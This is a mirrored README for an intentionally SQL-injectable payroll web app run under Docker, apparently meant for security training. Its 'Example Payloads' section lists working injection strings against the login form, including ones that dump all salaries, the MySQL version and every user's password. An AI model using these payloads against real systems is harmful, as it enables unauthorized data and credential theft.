Coder Social home page Coder Social logo

michaelahli / startrek_payroll Goto Github PK

View Code? Open in Web Editor NEW

This project forked from thomaslaurenson/startrek_payroll

0.0 1.0 0.0 904 KB

A simple SQL injection vulnerable web application powered by Docker

License: BSD 3-Clause "New" or "Revised" License

PHP 92.52% Makefile 3.90% Dockerfile 3.58%

startrek_payroll's Introduction

startrek_payroll

A simple SQL injection vulnerable web application powered by Docker

Project Summary

This is a simple web application that is vulnerable to SQL injection attacks. The web application is based on the payroll_app from the Metasploitable3 project, and the PHP code is taken (almost) directly from that project. The primary contribution of this project is a Docker environment using docker-compose and consisting of Nginx, PHP and MySQL containers to run the web application easily.

Project Instructions

Install the project requirements on your choice of operating system, including:

  • Docker
  • Docker Compose plugin

Run using either of the following:

  • make run
  • docker compose up --build

Open web browser and visit:

  • localhost:8080

Clean the Docker environment (after making changes):

  • make clean

Example Payloads

  1. Normal login to get users salary:

    • username: james_kirk
    • password: kobayashi_maru
  2. Dump username and salary of all users:

    • username: ' OR 1=1#
    • password: anythingyouwant
  3. Dump MySQL version:

    • username: ' UNION SELECT null,@@version#
    • password: anythingyouwant
  4. Dump all users passwords:

    • username: ' UNION SELECT username,CONCAT(first_name, ' ', last_name),password FROM users#
    • password: anythingyouwant

startrek_payroll's People

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.